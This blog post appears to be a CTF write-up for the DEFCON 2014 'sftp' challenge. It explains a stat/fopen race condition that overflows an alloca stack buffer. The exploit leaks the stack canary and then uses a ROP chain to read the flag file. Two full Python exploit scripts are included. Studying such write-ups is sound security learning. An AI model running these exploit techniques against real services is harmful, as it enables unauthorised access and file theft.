본문 바로가기

Games/CTF

DEFCON 2014 sftp writeup

The task was solved by other teammates, I saw this challenge after the CTF ended.

I setup a local environment just like the CTF server and placed my own flag file.



The binary is x86 Linux binary which has NX enabled, PIE disabled.




The binary is implementing a simple FTP server... most of the commands are not implemented, but after authentication, we can SEND/RECV files into its folder(/home/sftp/incoming)




After some digging, I found the following vulnerable code from RETR function..!





The code gets the size of file with 'stat' function, then if we send the 'SEND' command, it opens the file, and reads it, and writes it to us. The buffer is allocated with 'alloca' which is a stack based buffer allocating function(decreasing esp). The code it self has no buffer overflow vulnerability(the buffer size is exactly as the size of file contents calculated by "stat"). However we can change the actual size of the file after "stat" has been performed and befoer "fopen" opens the file. This is a classic race condition situation :)


So, the plan is, we let the sftp calculate our requested file, say... "fileA" which has 20 bytes of contents. After the server calculates the file size of "fileA", we append the file content with another FTP session :), then continue the original FTP session by sending "SEND" message.  Then, we can overwrite the stack buffer enough to reach the return address..! 



The sftp opens our requested file and freads it. At this point there is no vulnerability. Each byte is stored in a local stack buffer of size 1.


Then, each freaded byte is copied to "alloca"ed buffer which has initial size of "stat"ed file size.



Since we increase the file size after "stat" calculation, we can overwrite the stack! But the situation is bit tricky... Let's see the memory situation when we copy the file contents to alloca buffer.



Alloca buffer starts at 0xbf8e7180. We can overwrite this stack buffer as much as we want, however the index pointer of the alloca buffer array is located at 0xbf8e71cc (0x11). If we overwrite this index value([ebp+n] from the pseudo code), our bytes from the file will be copied to some other location... actually we can skip this part by overwriting the index byte into something bigger than the offset of alloca buffer to [ebp+n], such as '0xff'.  the byte stream coping will continue and reach the return address.


However, there is a stack canary protector before we reach the return address. At first, I tried to bypass the canary by precisely jumping the stack buffer by overwriting the [ebp+n] to point the address higher than canary and lower than return address. However, it seemed impossible.  So I changed my strategy and tried to leak the canary value.  I divided the exploitation into two stages. First, I just manipulate the [ebp+n] as I want then reach the following routine...



If I overwrite the [ebp+n] big enough, I can leak the entire stack frame :) which means I can get the canary value. Leaking the stack information is stage 1. Now I invoke the RETR again as the stage 2.


Since I know all the stack addresses and canary, old ebp... etc, It is a matter of time to creating the ROP exploit payload to fopen, and read, and write the flag file. I calculated my BOF payload address by leaking the old ebp, and made the following ROP exploit chains.


[fopen][pop;pop;ret][&"/home/sftp/flag"][&"r"]

[read][pop;pop;pop;ret][5][&bss_buffer][100]

[write][0xdeadbeef][1][&bss_buffer][100]


So, I can read any file by giving the full path :)

Let's fopen and read the "/home/sftp/flag"



and, the task is done.






# final exploit, first session

root@ubuntu:/var/www/tmp# cat sftp1.py

from socket import *

import struct, sys, os, time


s = socket(AF_INET, SOCK_STREAM)

#s.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))

s.connect(('localhost', 33333))


# stage 1

s.send('USER defcon\n')

print s.recv(4096)

s.send('PASS defcon2014\n')

print s.recv(4096)

s.send('STOR OLD fuck\n')

print s.recv(4096)

s.send('SIZE 20\n')

print s.recv(4096)

s.send('A'*20 + '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n')

print 'file sent'

s.send('RETR fuck\n')

print s.recv(4096)


print 'wait for other exploit session(1)...'

raw_input()


s.send('SEND\n')

dump = s.recv(4096).encode('hex')

canary = int(dump.split('f89b0408')[0][-32:][:8], 16)

oebp = int(dump.split('f89b0408')[0][-8:][:8], 16)


print 'canary(big endian) : {0}'.format(canary)

print 'canary(big endian) : {0}'.format(oebp)

# old EBP - 0x150 + 0x3c = user input.



# stage 2

s.send('KILL fuck\n')

print s.recv(4096)

s.send('STOR OLD fuck\n')

print s.recv(4096)

s.send('SIZE 20\n')

print s.recv(4096)

s.send('A'*20 + '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n')

print 'file sent'

s.send('RETR fuck\n')

print s.recv(4096)


print 'wait for other exploit session(2)...'

raw_input()


# trigger exploit!!

s.send('SEND\n')

print s.recv(4096)


s.send('DONE\n')

print s.recv(4096)











# final exploit, second session

root@ubuntu:/var/www/tmp# cat sftp2.py

from socket import *

import struct, sys, os, time, random, string


FOPEN = 0x80487D0

WRITE = 0x80487C0

READ = 0x80486A0

FLAG = 0x8049EFE

SH = 0x80483fc

GOT = 0x804c090

PPPPR = 0x8049C6D

PPPR = 0x8049C6E

PPR = 0x8049C6F

R = 0x8049F54

BUFFER = 0x804c0fc


FILE = '/home/sftp/flag\x00'


s = socket(AF_INET, SOCK_STREAM)

#s.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))

s.connect(('localhost', 33333))


# stage 1

s.send('USER defcon\n')

print s.recv(4096)

s.send('PASS defcon2014\n')

print s.recv(4096)

s.send('STOR APP fuck\n')

print s.recv(4096)

s.send('SIZE 1000\n')


print s.recv(4096)

s.send('B'*56 + '\x4c\x05' + 'CCCCCCCCC'*(1000-2-56) + '\n\n\n\n')

print 'file sent'

s.send('LIST\n')

print s.recv(4096)


print 'tell me canary!! : '

canary = int(raw_input(), 10)

print 'your canary : {0}'.format(canary)


# old EBP - 0x150 + 0x3c = fname.

print 'tell me fname address!! : '

fname = int(raw_input(), 10)

fname = struct.unpack('I', struct.pack('>I', fname))[0] - 0x150 + 0x3c

print 'your file name location : {0}'.format(fname)


# stage 2

s.send('STOR APP fuck\n')

print s.recv(4096)

s.send('SIZE 1000\n')


print s.recv(4096)

p = 'A'*110 # offset to canary

p += struct.pack('>I', canary)

p += 'B'*8

p += 'OEBP'

p += struct.pack('<I', FOPEN)

p += struct.pack('<I', PPR)

p += struct.pack('<I', fname)

p += struct.pack('<I', R)

p += struct.pack('<I', READ)

p += struct.pack('<I', PPPR)

p += struct.pack('<I', 5)

p += struct.pack('<I', BUFFER)

p += struct.pack('<I', 100)

p += struct.pack('<I', WRITE)

p += struct.pack('<I', 0xdeadbeef)

p += struct.pack('<I', 1)

p += struct.pack('<I', BUFFER)

p += struct.pack('<I', 100)

p += FILE


s.send('B'*56 + '\x4c\x03' + p + 'C'*(1000-len(p)-2-56) + '\n\n\n\n')

print 'file sent'

s.send('LIST\n')

print s.recv(4096)


print 'wait for other exploit session(2)...'

raw_input()




'Games > CTF' 카테고리의 다른 글

SECCON 2014 Advanced RISC Machine  (0) 2014.12.08
hack.lu callgate writeup  (0) 2014.10.28
DEFCON 2014 babyfirst heap writeup  (0) 2014.05.22
DEFCON 2014 polyglot writeup  (0) 2014.05.21
DEFCON 2014 bbgp writeup  (2) 2014.05.21